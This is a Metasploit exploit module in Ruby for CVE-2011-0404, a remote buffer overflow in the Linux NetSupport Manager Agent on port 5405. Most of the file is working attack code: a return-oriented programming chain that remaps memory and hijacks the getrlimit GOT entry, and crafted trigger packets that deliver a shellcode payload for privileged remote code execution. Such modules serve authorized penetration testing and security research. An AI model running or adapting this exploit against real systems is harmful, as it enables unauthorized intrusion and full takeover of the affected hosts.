NetSupport Manager Agent Remote Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NetSupport Manager Agent Remote Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in NetSupport Manager Agent. It
          uses a similar ROP to the proftpd_iac exploit in order to avoid non executable stack.
        },
        'Author' => [
          'Luca Carettoni (@_ikki)', # original discovery / exploit
          'Evan',  # ported from exploit-db exploit
          'jduck'  # original proftpd_iac ROP, minor cleanups
        ],
        'Arch' => ARCH_X86,
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2011-0404' ],
          [ 'OSVDB', '70408' ],
          [ 'BID', '45728' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2011/Jan/90' ],
          [ 'EDB', '15937' ]
        ],
        'Privileged' => true,
        'Platform' => 'linux',
        'Payload' => {
          'Space' => 0x975,
          'BadChars' => "",
          'DisableNops' => true,
        },
        'Targets' => [
          [
            'linux',
            {
              'Ret' => 0x0805e50c, # pop eax ; pop ebx ; pop ebp ;;
              'Pad' => 975,
              'RopStack' =>
                [
                  ### mmap isn't used in the binary so we need to resolve it in libc
                  0x00041160, # mmap64 - localtime
                  0xa9ae0e6c, # 0x8092b30 - 0x5e5b1cc4, localtime will become mprotect
                  0xcccccccc,
                  0x08084662, # add    DWORD PTR [ebx+0x5e5b1cc4],eax; pop edi; pop ebp ;;
                  0xcccccccc,
                  0xcccccccc,
                  0x080541e4, # localtime@plt (now mmap64)
                  0x080617e3, # add esp 0x10 ; pop ebx ; pop esi ; pop ebp ;;
                  0, 0x20000, 0x7, 0x22, 0xffffffff, 0, # mmap64 arguments
                  0x0, # unused
                  0x08066332, # pop edx; pop ebx; pop ebp ;;
                  "\x89\x1c\xa8\xc3".unpack('V').first, # mov [eax+ebp*4], ebx
                  0xcccccccc,
                  0xcccccccc,
                  0x080555c4, # mov [eax] edx ; pop ebp ;;
                  0xcccccccc,
                  # 0x0807385a, # push eax ; adc al 0x5d ;;

                  ### this is  the stub used to copy shellcode from the stack to
                  ### the newly mapped executable region
                  # \x8D\xB4\x24\x7D\xFB\xFF      # lea esi,[dword esp-0x483]
                  # \x8D\x78\x12                  # lea edi,[eax+0x12]
                  # \x6A\x7F                      # push byte +0x7f
                  # \x59                          # pop ecx
                  # \xF3\xA5                      # rep movsd

                  ### there are no good jmp eax so  overwrite getrlimits GOT entry
                  0x0805591b, # pop ebx; pop ebp ;;
                  0x08092d68 - 0x4, # 08092d68  0002f007 R_386_JUMP_SLOT   00000000   getrlimit
                  0x1,        # becomes ebp
                  0x08084f38, # mov [ebx+0x4] eax ; pop ebx ; pop ebp ;;
                  0xfb7c24b4, # become eb
                  0x01,
                  0x08054ac4, # <getrlimit@plt>
                  0x0805591b, # pop ebx; pop ebp ;;
                  # 0xffff8d78, # become ebx
                  0x788dffff,
                  0x2,
                  0x08054ac4, # <getrlimit@plt>
                  0x0805591b, # pop ebx; pop ebp ;;
                  0x597f6a12,
                  0x3,
                  0x08054ac4, # <getrlimit@plt>
                  0x0805591b, # pop ebx; pop ebp ;;
                  0x9090a5f2,
                  0x4,
                  0x08054ac4, # <getrlimit@plt>
                  0x0805591b, # pop ebx; pop ebp ;;
                  0x8d909090,
                  0x0,
                  0x08054ac4, # <getrlimit@plt>
                  0xcccccccc,
                  0x01010101,
                ]
            }
          ]
        ],
        'DisclosureDate' => '2011-01-08',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5405),
      ]
    )
  end

  def exploit
    connect

    # pop_eax_ebx ;
    # 0x8084662 # add    DWORD PTR [ebx+0x5e5b1cc4],eax ;;
    triggerA = "\x15\x00\x5a\x00" + "\x41" * 1024 + "\x00\x00\x00" +
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

    triggerB = "\x25\x00\x51\x00\x81\x41\x41\x41\x41\x41\x41\x00" +
               "\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
               "\x00\x00\x00"

    triggerC = "\x37\x00\x03\x00\x0a\x00\x00\x00\x00\x00\x58\xb4" +
               "\x92\xff\x00\x00\x69\x6b\x6b\x69\x00\x57\x4f\x52" +
               "\x4b\x47\x52\x4f\x55\x50\x00\x3c\x3e" + # pleasure trail
               # "\xcc" +
               "\x90" +
               payload.encoded +
               "\xcc" * (target['Pad'] - payload.encoded.length) +
               [target.ret].pack('V')

    new = ''
    if target['RopStack']
      new << target['RopStack'].map { |e|
        if e == 0xcccccccc
          rand_text(4).unpack('V').first
        else
          e
        end
      }.pack('V*')
    end

    triggerC << new
    triggerC << "\x00" * 4
    triggerC << "\x00\x00\x31\x32\x2e\x36\x32\x2e\x31\x2e\x34\x32"
    triggerC << "\x30\x00\x31\x30\x00\x00"

    triggerD = "\x06\x00\x07\x00\x20\x00\x00\x00\x0e\x00\x32\x00" +
               "\x01\x10\x18\x00\x00\x01\x9f\x0d\x00\x00\xe0\x07" +
               "\x06\x00\x07\x00\x00\x00\x00\x00\x02\x00\x4e\x00" +
               "\x02\x00\xac\x00\x04\x00\x7f\x00\x00\x00"

    print_status("Sending A")
    sock.put(triggerA)
    select(nil, nil, nil, 1)

    print_status("Sending B")
    sock.put(triggerB)
    select(nil, nil, nil, 1)

    print_status("Sending C")
    sock.put(triggerC)
    select(nil, nil, nil, 1)

    print_status("Sending D")
    sock.put(triggerD)
    select(nil, nil, nil, 1)

    disconnect
  end
end